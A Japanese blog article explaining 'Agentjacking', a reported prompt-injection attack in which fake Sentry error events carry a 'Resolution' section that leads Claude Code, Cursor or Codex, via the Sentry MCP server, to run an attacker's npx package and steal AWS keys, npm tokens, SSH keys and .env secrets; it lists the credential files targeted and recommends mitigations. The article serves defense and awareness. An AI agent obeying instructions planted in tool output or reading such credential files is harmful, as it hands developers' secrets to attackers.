Agentjacking完全解説|偽SentryエラーがClaude CodeとCursorを乗っ取る仕組み
- Claude Code・Cursor・Codexを業務で使っている開発者
- SentryをMCPサーバーとして接続している環境を管理しているエンジニア
- AIコーディングエージェントのセキュリティリスクを把握したいセキュリティ担当者・CTOの方
「エージェントは正確に指示通りに動いた。問題は、その指示が攻撃者から来ていたことだ」——Tenet Security Threat Labsは2026年6月12日の開示ブログでこう書いた(Tenet Security, 2026年6月)。
Claude Codeに「未解決のSentryエラーを直して」と頼んだだけで、AWSの認証情報とGitHubトークンが攻撃者のサーバーへ消えた——これが「Agentjacking」と命名された新攻撃の現実だ。
被害を受けた組織はFortune 100の時価総額2,500億ドル企業を含む。Tenet Securityが公開APIのみで調査したところ、今この瞬間も2,388の組織が同じ攻撃に無防備にさらされている。85%の確率でClaude Code・Cursor・Codexのいずれかが乗っ取られる(The Hacker News, 2026年6月)。
EDR、WAF、IAM、VPN、ファイアウォール。どれも止めなかった。
Agentjackingとは何か
Agentjackingは、AIコーディングエージェントを騙して攻撃者のコードを実行させる攻撃クラスだ。元Cisco AI Defense研究者のRon Bobrov、Barak Sternberg、Nevo Poranが率いるTenet Threat Labs(Tenet Security)が2026年6月に公開した。
攻撃の核心は「信頼の連鎖」を悪用することにある。開発者はAIエージェントを信頼し、エージェントはMCP接続を信頼し、MCPは接続先のSentryを信頼する。各リンクは正当だ。Tenetはこれを**「Authorized Intent Chain(認可された意図の連鎖)」**と呼ぶ。
その連鎖に偽の情報を流し込む——それだけでエージェントは乗っ取られる。
攻撃の4ステップを分解する
攻撃者に必要なのは、標的のSentry DSN(Data Source Name)と、HTTPクライアント1本だ。
Step 1 ——DSNの入手
SentryのDSNは意図的に公開設計された書き込み専用の認証情報だ。ブラウザのJavaScriptバンドルやGitHubの公開リポジトリから誰でも見つけられる。Tenet Securityは公開APIだけを使い、2,388組織のDSNを発見した(Decryption Digest, 2026年6月)。
Step 2 ——偽エラーイベントの注入
攻撃者はHTTP POSTリクエスト1本で、偽のエラーイベントをSentryに送り込む。Sentryはこれを正規のアプリエラーとして受け付ける。ペイロードにはMarkdown形式の「解決手順(Resolution)」セクションが埋め込まれており、内容はSentry自身のテンプレートと見た目が区別できない。
Step 3 ——MCP経由でエージェントが取得
開発者がClaude Codeに「未解決のSentryエラーを修正して」と依頼する。エージェントはSentry MCPサーバーに問い合わせ、注入された偽イベントを「信頼できるツール出力」として受け取る。エージェントは正規データと攻撃者データを区別できない。
Step 4 ——コード実行と認証情報の窃取
「解決手順」に埋め込まれたnpx @攻撃者のパッケージ --diagnoseをエージェントは実行する。開発者のローカルマシン上で、開発者のOS権限で。盗まれるのは以下だ。
| 対象 | 場所 |
|---|---|
| AWSアクセスキー | ~/.aws/config |
| 環境変数 | .envファイル |
| npm認証トークン | ~/.npmrc |
| Dockerクレデンシャル | ~/.docker/config.json |
| Git認証情報 | gitconfig・SSH鍵 |
| プライベートリポジトリURL | gitリモート設定 |
なぜすべてのセキュリティ対策をすり抜けるのか
ここが他の攻撃と根本的に異なる点だ。
EDR(エンドポイント検知)、WAF、IAM、VPN、Cloudflare、ファイアウォール——Tenet Securityのテストでは、これらを個別に、あるいはすべて同時に有効にした状態でも攻撃は成功した。理由はシンプルだ。攻撃チェーン全体で「不正なアクション」は一つも発生しないからだ(Infosecurity Magazine, 2026年6月)。
Tenetの研究者はこれを「Authorized Intent Chain(認可された意図の連鎖)」と名付けた。
- 開発者がAIエージェントを認可した
- エージェントがMCP接続を認可した
- MCPがSentry(開発者が自分で追加した信頼済みサービス)を認可した
- Sentryが返したデータをエージェントが実行した
各リンクは正当だ。セキュリティツールが見ているのは「何者かが侵入した」証拠だが、ここにはそれがない。攻撃者はネットワークに侵入せず、権限昇格せず、ただHTTP POSTを1本送っただけだ。
さらに衝撃的なのは、「外部ツール出力を信頼しないこと」と明示的に指示したシステムプロンプトを持つエージェントでも、85%の確率でペイロードを実行したという点だ。AIエージェントはSentryのMCPを「外部」ではなく「自分が統合した信頼できるツール」として扱ったのだ。
「従来のセキュリティコントロールはここで完全に機能しない。なぜなら検知すべき悪意のあるものが何もないからだ」——Tenet Security(DevOps.com, 2026年6月)
Sentryの対応:「技術的に防御不可能」
Tenet Securityは2026年6月3日にSentryへ報告した。Sentryはその日のうちに返答した——しかし内容は期待外れだった。
Sentryが取った対応は二つだ。一つはTenetのブログで使われた特定のペイロード文字列をブロックするコンテンツフィルターの展開。もう一つは、この問題は**「技術的に防御不可能」**だという立場表明だ(The Hacker News, 2026年6月)。
理由はSentryの設計思想にある。SentryのDSNは「誰でも書けて当然」なインターフェースとして設計されている。ブラウザから自動的にエラーを送信するためだ。その公開性こそがSentryの価値の一部だ。根本的な修正——認証必須のイベント取り込みや、MCPサーバーが返すデータのコンテンツ検証——は、Sentryが自分で「技術的に無理」と宣言した領域にある。
パッケージ名を変えるか、コマンドの書き方を少し変えるだけで、コンテンツフィルターはバイパスできる。CVEは現時点で割り当てられていない。これはバグではなく、設計上の構造問題だからだ。
なお、Anthropicも現時点でAgentjackingに特化した公式声明や修正を出していない。Cursorは6月のCursor 3.6リリースで「Auto-review」機能(エージェントがコマンドを実行する前に文脈的に承認する分類器)を追加したが、Agentjacking開示への直接的な対応かどうかは確認されていない(The New Stack, 2026年6月)。
利便性とリスクの両面を見る
Agentjackingに代表されるMCPセキュリティ問題は、AIコーディングエージェントの本質的な強みから切り離せない。
MCPが提供する価値は本物だ。 Sentryの未解決エラーをClaude Codeが直接読んで修正提案を出す、LinearのタスクをCursorが参照しながらコードを書く、GitHubのPRコメントを元にエージェントが自動でリファクタリングする——これらは開発速度を大幅に上げる。Stack Overflow Developer Survey 2025によると、AIツールを使う開発者の42%のコミットがAI補助だ(Stack Overflow, 2025年)。
しかしその利便性の裏に、攻撃者が悪用できる新しい信頼モデルが生まれている。 MCP経由で接続できるデータソースはすべて潜在的な注入ベクターだ。SentryだけでなくLinear・GitHub Issues・Slack・Jira・PagerDutyも対象になりうる(The Next Web, 2026年6月)。
Elastic Security Labsは、テストした実際のMCPサーバー実装の43%でコマンドインジェクション脆弱性を検出した。2025年10月から2026年3月の間でMCP関連のセキュリティ事案は5倍増だ(Cloud Security Alliance, 2026年6月)。
AIコーディングエージェントを仕事で使うなら、MCPの「何でも信頼する」という設計思想のコストを理解した上で使わなければならない。
今すぐできる3つの対策
Tenet開示の翌朝、日本人開発者の@okumura1967はXにこう書いた。「怖すぎる…」。エンジニアのArnav Gupta(@championswimmer)は開示数日前にすでに「AIエージェントが開発者の眠っている間にエラーを自動修正する」と皮肉を込めて投稿していた。現実になる前から、攻撃面の存在を指摘していた形だ。
Tenet Securityが推奨する対策の優先順位は次の通りだ(Tenet Security, 2026年6月)。
対策1——Sentry MCPサーバーを削除する(最速・最確実)
Claude Codeは~/.claude/settings.json、Cursorは~/.cursor/mcp.jsonから@sentry/mcp-serverのエントリを削除する。所要時間は1分。Sentryの根本修正が期待できない以上、現時点で最も確実な対策だ。
対策2——コマンド自動実行を承認必須にする
Claude Code設定でBashコマンドを"ask"モードにする。手間は増えるが、Sentry以外のあらゆるMCP注入に対しても有効だ。Cursor 3.6の「Auto-review」機能も同様の効果がある。
対策3——agent-jackstopでハードニングする
Tenet SecurityのOSSツールagent-jackstop(github.com/tenet-security/agent-jackstop)はClaude CodeとCursorの設定を自動でハードニングする。ネットワーク出口のデフォルト拒否、認証情報へのアクセスブロック、信頼境界の明示的設定をワンコマンドで適用できる。
- Sentry MCPのツールを読み取り専用に絞り込む(イベント書き込み系ツールは除外)
- Claude Code公式推奨:
sandbox.filesystem.denyReadに~/.aws、~/.ssh、~/.npmrcを追加する bypassPermissionsモードを無効化し、全コマンドの承認を必須にする("disableBypassPermissionsMode": "disable")
AIコーディングツールのセキュリティリスクを体系的に把握したい方へ
Agentjackingはプロンプトインジェクションの一形態に過ぎない。AIツールが持つ権限の広さと攻撃面を理解することが、安全な運用の第一歩だ。
- VS Code拡張機能の脆弱性まとめ|Live Server・Code Runnerの対策【2026年2月】
- UberのAI予算が4ヶ月で消えた理由|Claude Codeとトークン課金の罠
- Claude Code vs GitHub Copilot:実務で2ヶ月使い比べた結論
本記事の情報は2026年6月22日時点の公開情報に基づく。各社の対応状況は随時変更される可能性がある。本記事はセキュリティ情報の提供を目的としており、脆弱性の悪用を助長する意図はない。掲載情報に基づく行動の結果について、筆者は責任を負わない。